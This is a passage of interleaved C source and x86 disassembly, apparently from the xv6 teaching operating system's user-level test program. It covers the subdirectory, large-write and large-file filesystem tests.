20ba: e8 1e 1e 00 00 call 3edd <close>
fd = open("dd/dd/../ff", 0);
20bf: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
20c6: 00
20c7: c7 04 24 90 4e 00 00 movl $0x4e90,(%esp)
20ce: e8 22 1e 00 00 call 3ef5 <open>
20d3: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
20d6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
20da: 79 19 jns 20f5 <subdir+0x18f>
printf(1, "open dd/dd/../ff failed\n");
20dc: c7 44 24 04 9c 4e 00 movl $0x4e9c,0x4(%esp)
20e3: 00
20e4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
20eb: e8 45 1f 00 00 call 4035 <printf>
exit();
20f0: e8 c0 1d 00 00 call 3eb5 <exit>
}
cc = read(fd, buf, sizeof(buf));
20f5: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
20fc: 00
20fd: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
2104: 00
2105: 8b 45 f4 mov -0xc(%ebp),%eax
2108: 89 04 24 mov %eax,(%esp)
210b: e8 bd 1d 00 00 call 3ecd <read>
2110: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc != 2 || buf[0] != 'f'){
2113: 83 7d f0 02 cmpl $0x2,-0x10(%ebp)
2117: 75 0b jne 2124 <subdir+0x1be>
2119: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax
2120: 3c 66 cmp $0x66,%al
2122: 74 19 je 213d <subdir+0x1d7>
printf(1, "dd/dd/../ff wrong content\n");
2124: c7 44 24 04 b5 4e 00 movl $0x4eb5,0x4(%esp)
212b: 00
212c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2133: e8 fd 1e 00 00 call 4035 <printf>
exit();
2138: e8 78 1d 00 00 call 3eb5 <exit>
}
close(fd);
213d: 8b 45 f4 mov -0xc(%ebp),%eax
2140: 89 04 24 mov %eax,(%esp)
2143: e8 95 1d 00 00 call 3edd <close>
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
2148: c7 44 24 04 d0 4e 00 movl $0x4ed0,0x4(%esp)
214f: 00
2150: c7 04 24 6c 4e 00 00 movl $0x4e6c,(%esp)
2157: e8 b9 1d 00 00 call 3f15 <link>
215c: 85 c0 test %eax,%eax
215e: 74 19 je 2179 <subdir+0x213>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
2160: c7 44 24 04 dc 4e 00 movl $0x4edc,0x4(%esp)
2167: 00
2168: c7 04 24 01 00 00 00 movl $0x1,(%esp)
216f: e8 c1 1e 00 00 call 4035 <printf>
exit();
2174: e8 3c 1d 00 00 call 3eb5 <exit>
}
if(unlink("dd/dd/ff") != 0){
2179: c7 04 24 6c 4e 00 00 movl $0x4e6c,(%esp)
2180: e8 80 1d 00 00 call 3f05 <unlink>
2185: 85 c0 test %eax,%eax
2187: 74 19 je 21a2 <subdir+0x23c>
printf(1, "unlink dd/dd/ff failed\n");
2189: c7 44 24 04 fd 4e 00 movl $0x4efd,0x4(%esp)
2190: 00
2191: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2198: e8 98 1e 00 00 call 4035 <printf>
exit();
219d: e8 13 1d 00 00 call 3eb5 <exit>
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
21a2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
21a9: 00
21aa: c7 04 24 6c 4e 00 00 movl $0x4e6c,(%esp)
21b1: e8 3f 1d 00 00 call 3ef5 <open>
21b6: 85 c0 test %eax,%eax
21b8: 78 19 js 21d3 <subdir+0x26d>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
21ba: c7 44 24 04 18 4f 00 movl $0x4f18,0x4(%esp)
21c1: 00
21c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21c9: e8 67 1e 00 00 call 4035 <printf>
exit();
21ce: e8 e2 1c 00 00 call 3eb5 <exit>
}
if(chdir("dd") != 0){
21d3: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
21da: e8 46 1d 00 00 call 3f25 <chdir>
21df: 85 c0 test %eax,%eax
21e1: 74 19 je 21fc <subdir+0x296>
printf(1, "chdir dd failed\n");
21e3: c7 44 24 04 3c 4f 00 movl $0x4f3c,0x4(%esp)
21ea: 00
21eb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21f2: e8 3e 1e 00 00 call 4035 <printf>
exit();
21f7: e8 b9 1c 00 00 call 3eb5 <exit>
}
if(chdir("dd/../../dd") != 0){
21fc: c7 04 24 4d 4f 00 00 movl $0x4f4d,(%esp)
2203: e8 1d 1d 00 00 call 3f25 <chdir>
2208: 85 c0 test %eax,%eax
220a: 74 19 je 2225 <subdir+0x2bf>
printf(1, "chdir dd/../../dd failed\n");
220c: c7 44 24 04 59 4f 00 movl $0x4f59,0x4(%esp)
2213: 00
2214: c7 04 24 01 00 00 00 movl $0x1,(%esp)
221b: e8 15 1e 00 00 call 4035 <printf>
exit();
2220: e8 90 1c 00 00 call 3eb5 <exit>
}
if(chdir("dd/../../../dd") != 0){
2225: c7 04 24 73 4f 00 00 movl $0x4f73,(%esp)
222c: e8 f4 1c 00 00 call 3f25 <chdir>
2231: 85 c0 test %eax,%eax
2233: 74 19 je 224e <subdir+0x2e8>
printf(1, "chdir dd/../../dd failed\n");
2235: c7 44 24 04 59 4f 00 movl $0x4f59,0x4(%esp)
223c: 00
223d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2244: e8 ec 1d 00 00 call 4035 <printf>
exit();
2249: e8 67 1c 00 00 call 3eb5 <exit>
}
if(chdir("./..") != 0){
224e: c7 04 24 82 4f 00 00 movl $0x4f82,(%esp)
2255: e8 cb 1c 00 00 call 3f25 <chdir>
225a: 85 c0 test %eax,%eax
225c: 74 19 je 2277 <subdir+0x311>
printf(1, "chdir ./.. failed\n");
225e: c7 44 24 04 87 4f 00 movl $0x4f87,0x4(%esp)
2265: 00
2266: c7 04 24 01 00 00 00 movl $0x1,(%esp)
226d: e8 c3 1d 00 00 call 4035 <printf>
exit();
2272: e8 3e 1c 00 00 call 3eb5 <exit>
}
fd = open("dd/dd/ffff", 0);
2277: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
227e: 00
227f: c7 04 24 d0 4e 00 00 movl $0x4ed0,(%esp)
2286: e8 6a 1c 00 00 call 3ef5 <open>
228b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
228e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2292: 79 19 jns 22ad <subdir+0x347>
printf(1, "open dd/dd/ffff failed\n");
2294: c7 44 24 04 9a 4f 00 movl $0x4f9a,0x4(%esp)
229b: 00
229c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
22a3: e8 8d 1d 00 00 call 4035 <printf>
exit();
22a8: e8 08 1c 00 00 call 3eb5 <exit>
}
if(read(fd, buf, sizeof(buf)) != 2){
22ad: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
22b4: 00
22b5: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
22bc: 00
22bd: 8b 45 f4 mov -0xc(%ebp),%eax
22c0: 89 04 24 mov %eax,(%esp)
22c3: e8 05 1c 00 00 call 3ecd <read>
22c8: 83 f8 02 cmp $0x2,%eax
22cb: 74 19 je 22e6 <subdir+0x380>
printf(1, "read dd/dd/ffff wrong len\n");
22cd: c7 44 24 04 b2 4f 00 movl $0x4fb2,0x4(%esp)
22d4: 00
22d5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
22dc: e8 54 1d 00 00 call 4035 <printf>
exit();
22e1: e8 cf 1b 00 00 call 3eb5 <exit>
}
close(fd);
22e6: 8b 45 f4 mov -0xc(%ebp),%eax
22e9: 89 04 24 mov %eax,(%esp)
22ec: e8 ec 1b 00 00 call 3edd <close>
if(open("dd/dd/ff", O_RDONLY) >= 0){
22f1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
22f8: 00
22f9: c7 04 24 6c 4e 00 00 movl $0x4e6c,(%esp)
2300: e8 f0 1b 00 00 call 3ef5 <open>
2305: 85 c0 test %eax,%eax
2307: 78 19 js 2322 <subdir+0x3bc>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
2309: c7 44 24 04 d0 4f 00 movl $0x4fd0,0x4(%esp)
2310: 00
2311: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2318: e8 18 1d 00 00 call 4035 <printf>
exit();
231d: e8 93 1b 00 00 call 3eb5 <exit>
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
2322: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2329: 00
232a: c7 04 24 f5 4f 00 00 movl $0x4ff5,(%esp)
2331: e8 bf 1b 00 00 call 3ef5 <open>
2336: 85 c0 test %eax,%eax
2338: 78 19 js 2353 <subdir+0x3ed>
printf(1, "create dd/ff/ff succeeded!\n");
233a: c7 44 24 04 fe 4f 00 movl $0x4ffe,0x4(%esp)
2341: 00
2342: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2349: e8 e7 1c 00 00 call 4035 <printf>
exit();
234e: e8 62 1b 00 00 call 3eb5 <exit>
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
2353: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
235a: 00
235b: c7 04 24 1a 50 00 00 movl $0x501a,(%esp)
2362: e8 8e 1b 00 00 call 3ef5 <open>
2367: 85 c0 test %eax,%eax
2369: 78 19 js 2384 <subdir+0x41e>
printf(1, "create dd/xx/ff succeeded!\n");
236b: c7 44 24 04 23 50 00 movl $0x5023,0x4(%esp)
2372: 00
2373: c7 04 24 01 00 00 00 movl $0x1,(%esp)
237a: e8 b6 1c 00 00 call 4035 <printf>
exit();
237f: e8 31 1b 00 00 call 3eb5 <exit>
}
if(open("dd", O_CREATE) >= 0){
2384: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
238b: 00
238c: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
2393: e8 5d 1b 00 00 call 3ef5 <open>
2398: 85 c0 test %eax,%eax
239a: 78 19 js 23b5 <subdir+0x44f>
printf(1, "create dd succeeded!\n");
239c: c7 44 24 04 3f 50 00 movl $0x503f,0x4(%esp)
23a3: 00
23a4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23ab: e8 85 1c 00 00 call 4035 <printf>
exit();
23b0: e8 00 1b 00 00 call 3eb5 <exit>
}
if(open("dd", O_RDWR) >= 0){
23b5: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
23bc: 00
23bd: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
23c4: e8 2c 1b 00 00 call 3ef5 <open>
23c9: 85 c0 test %eax,%eax
23cb: 78 19 js 23e6 <subdir+0x480>
printf(1, "open dd rdwr succeeded!\n");
23cd: c7 44 24 04 55 50 00 movl $0x5055,0x4(%esp)
23d4: 00
23d5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23dc: e8 54 1c 00 00 call 4035 <printf>
exit();
23e1: e8 cf 1a 00 00 call 3eb5 <exit>
}
if(open("dd", O_WRONLY) >= 0){
23e6: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
23ed: 00
23ee: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
23f5: e8 fb 1a 00 00 call 3ef5 <open>
23fa: 85 c0 test %eax,%eax
23fc: 78 19 js 2417 <subdir+0x4b1>
printf(1, "open dd wronly succeeded!\n");
23fe: c7 44 24 04 6e 50 00 movl $0x506e,0x4(%esp)
2405: 00
2406: c7 04 24 01 00 00 00 movl $0x1,(%esp)
240d: e8 23 1c 00 00 call 4035 <printf>
exit();
2412: e8 9e 1a 00 00 call 3eb5 <exit>
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
2417: c7 44 24 04 89 50 00 movl $0x5089,0x4(%esp)
241e: 00
241f: c7 04 24 f5 4f 00 00 movl $0x4ff5,(%esp)
2426: e8 ea 1a 00 00 call 3f15 <link>
242b: 85 c0 test %eax,%eax
242d: 75 19 jne 2448 <subdir+0x4e2>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
242f: c7 44 24 04 94 50 00 movl $0x5094,0x4(%esp)
2436: 00
2437: c7 04 24 01 00 00 00 movl $0x1,(%esp)
243e: e8 f2 1b 00 00 call 4035 <printf>
exit();
2443: e8 6d 1a 00 00 call 3eb5 <exit>
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
2448: c7 44 24 04 89 50 00 movl $0x5089,0x4(%esp)
244f: 00
2450: c7 04 24 1a 50 00 00 movl $0x501a,(%esp)
2457: e8 b9 1a 00 00 call 3f15 <link>
245c: 85 c0 test %eax,%eax
245e: 75 19 jne 2479 <subdir+0x513>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
2460: c7 44 24 04 b8 50 00 movl $0x50b8,0x4(%esp)
2467: 00
2468: c7 04 24 01 00 00 00 movl $0x1,(%esp)
246f: e8 c1 1b 00 00 call 4035 <printf>
exit();
2474: e8 3c 1a 00 00 call 3eb5 <exit>
}
if(link("dd/ff", "dd/dd/ffff") == 0){
2479: c7 44 24 04 d0 4e 00 movl $0x4ed0,0x4(%esp)
2480: 00
2481: c7 04 24 08 4e 00 00 movl $0x4e08,(%esp)
2488: e8 88 1a 00 00 call 3f15 <link>
248d: 85 c0 test %eax,%eax
248f: 75 19 jne 24aa <subdir+0x544>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
2491: c7 44 24 04 dc 50 00 movl $0x50dc,0x4(%esp)
2498: 00
2499: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24a0: e8 90 1b 00 00 call 4035 <printf>
exit();
24a5: e8 0b 1a 00 00 call 3eb5 <exit>
}
if(mkdir("dd/ff/ff") == 0){
24aa: c7 04 24 f5 4f 00 00 movl $0x4ff5,(%esp)
24b1: e8 67 1a 00 00 call 3f1d <mkdir>
24b6: 85 c0 test %eax,%eax
24b8: 75 19 jne 24d3 <subdir+0x56d>
printf(1, "mkdir dd/ff/ff succeeded!\n");
24ba: c7 44 24 04 fe 50 00 movl $0x50fe,0x4(%esp)
24c1: 00
24c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24c9: e8 67 1b 00 00 call 4035 <printf>
exit();
24ce: e8 e2 19 00 00 call 3eb5 <exit>
}
if(mkdir("dd/xx/ff") == 0){
24d3: c7 04 24 1a 50 00 00 movl $0x501a,(%esp)
24da: e8 3e 1a 00 00 call 3f1d <mkdir>
24df: 85 c0 test %eax,%eax
24e1: 75 19 jne 24fc <subdir+0x596>
printf(1, "mkdir dd/xx/ff succeeded!\n");
24e3: c7 44 24 04 19 51 00 movl $0x5119,0x4(%esp)
24ea: 00
24eb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24f2: e8 3e 1b 00 00 call 4035 <printf>
exit();
24f7: e8 b9 19 00 00 call 3eb5 <exit>
}
if(mkdir("dd/dd/ffff") == 0){
24fc: c7 04 24 d0 4e 00 00 movl $0x4ed0,(%esp)
2503: e8 15 1a 00 00 call 3f1d <mkdir>
2508: 85 c0 test %eax,%eax
250a: 75 19 jne 2525 <subdir+0x5bf>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
250c: c7 44 24 04 34 51 00 movl $0x5134,0x4(%esp)
2513: 00
2514: c7 04 24 01 00 00 00 movl $0x1,(%esp)
251b: e8 15 1b 00 00 call 4035 <printf>
exit();
2520: e8 90 19 00 00 call 3eb5 <exit>
}
if(unlink("dd/xx/ff") == 0){
2525: c7 04 24 1a 50 00 00 movl $0x501a,(%esp)
252c: e8 d4 19 00 00 call 3f05 <unlink>
2531: 85 c0 test %eax,%eax
2533: 75 19 jne 254e <subdir+0x5e8>
printf(1, "unlink dd/xx/ff succeeded!\n");
2535: c7 44 24 04 51 51 00 movl $0x5151,0x4(%esp)
253c: 00
253d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2544: e8 ec 1a 00 00 call 4035 <printf>
exit();
2549: e8 67 19 00 00 call 3eb5 <exit>
}
if(unlink("dd/ff/ff") == 0){
254e: c7 04 24 f5 4f 00 00 movl $0x4ff5,(%esp)
2555: e8 ab 19 00 00 call 3f05 <unlink>
255a: 85 c0 test %eax,%eax
255c: 75 19 jne 2577 <subdir+0x611>
printf(1, "unlink dd/ff/ff succeeded!\n");
255e: c7 44 24 04 6d 51 00 movl $0x516d,0x4(%esp)
2565: 00
2566: c7 04 24 01 00 00 00 movl $0x1,(%esp)
256d: e8 c3 1a 00 00 call 4035 <printf>
exit();
2572: e8 3e 19 00 00 call 3eb5 <exit>
}
if(chdir("dd/ff") == 0){
2577: c7 04 24 08 4e 00 00 movl $0x4e08,(%esp)
257e: e8 a2 19 00 00 call 3f25 <chdir>
2583: 85 c0 test %eax,%eax
2585: 75 19 jne 25a0 <subdir+0x63a>
printf(1, "chdir dd/ff succeeded!\n");
2587: c7 44 24 04 89 51 00 movl $0x5189,0x4(%esp)
258e: 00
258f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2596: e8 9a 1a 00 00 call 4035 <printf>
exit();
259b: e8 15 19 00 00 call 3eb5 <exit>
}
if(chdir("dd/xx") == 0){
25a0: c7 04 24 a1 51 00 00 movl $0x51a1,(%esp)
25a7: e8 79 19 00 00 call 3f25 <chdir>
25ac: 85 c0 test %eax,%eax
25ae: 75 19 jne 25c9 <subdir+0x663>
printf(1, "chdir dd/xx succeeded!\n");
25b0: c7 44 24 04 a7 51 00 movl $0x51a7,0x4(%esp)
25b7: 00
25b8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25bf: e8 71 1a 00 00 call 4035 <printf>
exit();
25c4: e8 ec 18 00 00 call 3eb5 <exit>
}
if(unlink("dd/dd/ffff") != 0){
25c9: c7 04 24 d0 4e 00 00 movl $0x4ed0,(%esp)
25d0: e8 30 19 00 00 call 3f05 <unlink>
25d5: 85 c0 test %eax,%eax
25d7: 74 19 je 25f2 <subdir+0x68c>
printf(1, "unlink dd/dd/ff failed\n");
25d9: c7 44 24 04 fd 4e 00 movl $0x4efd,0x4(%esp)
25e0: 00
25e1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25e8: e8 48 1a 00 00 call 4035 <printf>
exit();
25ed: e8 c3 18 00 00 call 3eb5 <exit>
}
if(unlink("dd/ff") != 0){
25f2: c7 04 24 08 4e 00 00 movl $0x4e08,(%esp)
25f9: e8 07 19 00 00 call 3f05 <unlink>
25fe: 85 c0 test %eax,%eax
2600: 74 19 je 261b <subdir+0x6b5>
printf(1, "unlink dd/ff failed\n");
2602: c7 44 24 04 bf 51 00 movl $0x51bf,0x4(%esp)
2609: 00
260a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2611: e8 1f 1a 00 00 call 4035 <printf>
exit();
2616: e8 9a 18 00 00 call 3eb5 <exit>
}
if(unlink("dd") == 0){
261b: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
2622: e8 de 18 00 00 call 3f05 <unlink>
2627: 85 c0 test %eax,%eax
2629: 75 19 jne 2644 <subdir+0x6de>
printf(1, "unlink non-empty dd succeeded!\n");
262b: c7 44 24 04 d4 51 00 movl $0x51d4,0x4(%esp)
2632: 00
2633: c7 04 24 01 00 00 00 movl $0x1,(%esp)
263a: e8 f6 19 00 00 call 4035 <printf>
exit();
263f: e8 71 18 00 00 call 3eb5 <exit>
}
if(unlink("dd/dd") < 0){
2644: c7 04 24 f4 51 00 00 movl $0x51f4,(%esp)
264b: e8 b5 18 00 00 call 3f05 <unlink>
2650: 85 c0 test %eax,%eax
2652: 79 19 jns 266d <subdir+0x707>
printf(1, "unlink dd/dd failed\n");
2654: c7 44 24 04 fa 51 00 movl $0x51fa,0x4(%esp)
265b: 00
265c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2663: e8 cd 19 00 00 call 4035 <printf>
exit();
2668: e8 48 18 00 00 call 3eb5 <exit>
}
if(unlink("dd") < 0){
266d: c7 04 24 ed 4d 00 00 movl $0x4ded,(%esp)
2674: e8 8c 18 00 00 call 3f05 <unlink>
2679: 85 c0 test %eax,%eax
267b: 79 19 jns 2696 <subdir+0x730>
printf(1, "unlink dd failed\n");
267d: c7 44 24 04 0f 52 00 movl $0x520f,0x4(%esp)
2684: 00
2685: c7 04 24 01 00 00 00 movl $0x1,(%esp)
268c: e8 a4 19 00 00 call 4035 <printf>
exit();
2691: e8 1f 18 00 00 call 3eb5 <exit>
}
printf(1, "subdir ok\n");
2696: c7 44 24 04 21 52 00 movl $0x5221,0x4(%esp)
269d: 00
269e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
26a5: e8 8b 19 00 00 call 4035 <printf>
}
26aa: c9 leave
26ab: c3 ret
000026ac <bigwrite>:
// test writes that are larger than the log.
void
bigwrite(void)
{
26ac: 55 push %ebp
26ad: 89 e5 mov %esp,%ebp
26af: 83 ec 28 sub $0x28,%esp
int fd, sz;
printf(1, "bigwrite test\n");
26b2: c7 44 24 04 2c 52 00 movl $0x522c,0x4(%esp)
26b9: 00
26ba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
26c1: e8 6f 19 00 00 call 4035 <printf>
unlink("bigwrite");
26c6: c7 04 24 3b 52 00 00 movl $0x523b,(%esp)
26cd: e8 33 18 00 00 call 3f05 <unlink>
for(sz = 499; sz < 12*512; sz += 471){
26d2: c7 45 f4 f3 01 00 00 movl $0x1f3,-0xc(%ebp)
26d9: e9 b3 00 00 00 jmp 2791 <bigwrite+0xe5>
fd = open("bigwrite", O_CREATE | O_RDWR);
26de: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
26e5: 00
26e6: c7 04 24 3b 52 00 00 movl $0x523b,(%esp)
26ed: e8 03 18 00 00 call 3ef5 <open>
26f2: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
26f5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
26f9: 79 19 jns 2714 <bigwrite+0x68>
printf(1, "cannot create bigwrite\n");
26fb: c7 44 24 04 44 52 00 movl $0x5244,0x4(%esp)
2702: 00
2703: c7 04 24 01 00 00 00 movl $0x1,(%esp)
270a: e8 26 19 00 00 call 4035 <printf>
exit();
270f: e8 a1 17 00 00 call 3eb5 <exit>
}
int i;
for(i = 0; i < 2; i++){
2714: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
271b: eb 50 jmp 276d <bigwrite+0xc1>
int cc = write(fd, buf, sz);
271d: 8b 45 f4 mov -0xc(%ebp),%eax
2720: 89 44 24 08 mov %eax,0x8(%esp)
2724: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
272b: 00
272c: 8b 45 ec mov -0x14(%ebp),%eax
272f: 89 04 24 mov %eax,(%esp)
2732: e8 9e 17 00 00 call 3ed5 <write>
2737: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc != sz){
273a: 8b 45 e8 mov -0x18(%ebp),%eax
273d: 3b 45 f4 cmp -0xc(%ebp),%eax
2740: 74 27 je 2769 <bigwrite+0xbd>
printf(1, "write(%d) ret %d\n", sz, cc);
2742: 8b 45 e8 mov -0x18(%ebp),%eax
2745: 89 44 24 0c mov %eax,0xc(%esp)
2749: 8b 45 f4 mov -0xc(%ebp),%eax
274c: 89 44 24 08 mov %eax,0x8(%esp)
2750: c7 44 24 04 5c 52 00 movl $0x525c,0x4(%esp)
2757: 00
2758: c7 04 24 01 00 00 00 movl $0x1,(%esp)
275f: e8 d1 18 00 00 call 4035 <printf>
exit();
2764: e8 4c 17 00 00 call 3eb5 <exit>
if(fd < 0){
printf(1, "cannot create bigwrite\n");
exit();
}
int i;
for(i = 0; i < 2; i++){
2769: 83 45 f0 01 addl $0x1,-0x10(%ebp)
276d: 83 7d f0 01 cmpl $0x1,-0x10(%ebp)
2771: 7e aa jle 271d <bigwrite+0x71>
if(cc != sz){
printf(1, "write(%d) ret %d\n", sz, cc);
exit();
}
}
close(fd);
2773: 8b 45 ec mov -0x14(%ebp),%eax
2776: 89 04 24 mov %eax,(%esp)
2779: e8 5f 17 00 00 call 3edd <close>
unlink("bigwrite");
277e: c7 04 24 3b 52 00 00 movl $0x523b,(%esp)
2785: e8 7b 17 00 00 call 3f05 <unlink>
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
278a: 81 45 f4 d7 01 00 00 addl $0x1d7,-0xc(%ebp)
2791: 81 7d f4 ff 17 00 00 cmpl $0x17ff,-0xc(%ebp)
2798: 0f 8e 40 ff ff ff jle 26de <bigwrite+0x32>
}
close(fd);
unlink("bigwrite");
}
printf(1, "bigwrite ok\n");
279e: c7 44 24 04 6e 52 00 movl $0x526e,0x4(%esp)
27a5: 00
27a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27ad: e8 83 18 00 00 call 4035 <printf>
}
27b2: c9 leave
27b3: c3 ret
000027b4 <bigfile>:
void
bigfile(void)
{
27b4: 55 push %ebp
27b5: 89 e5 mov %esp,%ebp
27b7: 83 ec 28 sub $0x28,%esp
int fd, i, total, cc;
printf(1, "bigfile test\n");
27ba: c7 44 24 04 7b 52 00 movl $0x527b,0x4(%esp)
27c1: 00
27c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27c9: e8 67 18 00 00 call 4035 <printf>
unlink("bigfile");
27ce: c7 04 24 89 52 00 00 movl $0x5289,(%esp)
27d5: e8 2b 17 00 00 call 3f05 <unlink>
fd = open("bigfile", O_CREATE | O_RDWR);
27da: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
27e1: 00
27e2: c7 04 24 89 52 00 00 movl $0x5289,(%esp)
27e9: e8 07 17 00 00 call 3ef5 <open>
27ee: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
27f1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
27f5: 79 19 jns 2810 <bigfile+0x5c>
printf(1, "cannot create bigfile");
27f7: c7 44 24 04 91 52 00 movl $0x5291,0x4(%esp)
27fe: 00
27ff: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2806: e8 2a 18 00 00 call 4035 <printf>
exit();
280b: e8 a5 16 00 00 call 3eb5 <exit>
}
for(i = 0; i < 20; i++){
2810: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2817: eb 5a jmp 2873 <bigfile+0xbf>
memset(buf, i, 600);
2819: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
2820: 00
2821: 8b 45 f4 mov -0xc(%ebp),%eax
2824: 89 44 24 04 mov %eax,0x4(%esp)
2828: c7 04 24 a0 8a 00 00 movl $0x8aa0,(%esp)
282f: e8 d4 14 00 00 call 3d08 <memset>
if(write(fd, buf, 600) != 600){
2834: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
283b: 00
283c: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
2843: 00
2844: 8b 45 ec mov -0x14(%ebp),%eax
2847: 89 04 24 mov %eax,(%esp)
284a: e8 86 16 00 00 call 3ed5 <write>
284f: 3d 58 02 00 00 cmp $0x258,%eax
2854: 74 19 je 286f <bigfile+0xbb>
printf(1, "write bigfile failed\n");
2856: c7 44 24 04 a7 52 00 movl $0x52a7,0x4(%esp)
285d: 00
285e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2865: e8 cb 17 00 00 call 4035 <printf>
exit();
286a: e8 46 16 00 00 call 3eb5 <exit>
fd = open("bigfile", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigfile");
exit();
}
for(i = 0; i < 20; i++){
286f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2873: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
2877: 7e a0 jle 2819 <bigfile+0x65>
if(write(fd, buf, 600) != 600){
printf(1, "write bigfile failed\n");
exit();
}
}
close(fd);
2879: 8b 45 ec mov -0x14(%ebp),%eax
287c: 89 04 24 mov %eax,(%esp)
287f: e8 59 16 00 00 call 3edd <close>
fd = open("bigfile", 0);
2884: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
288b: 00
288c: c7 04 24 89 52 00 00 movl $0x5289,(%esp)
2893: e8 5d 16 00 00 call 3ef5 <open>
2898: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
289b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
289f: 79 19 jns 28ba <bigfile+0x106>
printf(1, "cannot open bigfile\n");
28a1: c7 44 24 04 bd 52 00 movl $0x52bd,0x4(%esp)
28a8: 00
28a9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28b0: e8 80 17 00 00 call 4035 <printf>
exit();
28b5: e8 fb 15 00 00 call 3eb5 <exit>
}
total = 0;
28ba: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(i = 0; ; i++){
28c1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc = read(fd, buf, 300);
28c8: c7 44 24 08 2c 01 00 movl $0x12c,0x8(%esp)
28cf: 00
28d0: c7 44 24 04 a0 8a 00 movl $0x8aa0,0x4(%esp)
28d7: 00
28d8: 8b 45 ec mov -0x14(%ebp),%eax
28db: 89 04 24 mov %eax,(%esp)
28de: e8 ea 15 00 00 call 3ecd <read>
28e3: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc < 0){
28e6: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
28ea: 79 19 jns 2905 <bigfile+0x151>
printf(1, "read bigfile failed\n");
28ec: c7 44 24 04 d2 52 00 movl $0x52d2,0x4(%esp)
28f3: 00
28f4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28fb: e8 35 17 00 00 call 4035 <printf>
exit();
2900: e8 b0 15 00 00 call 3eb5 <exit>
}
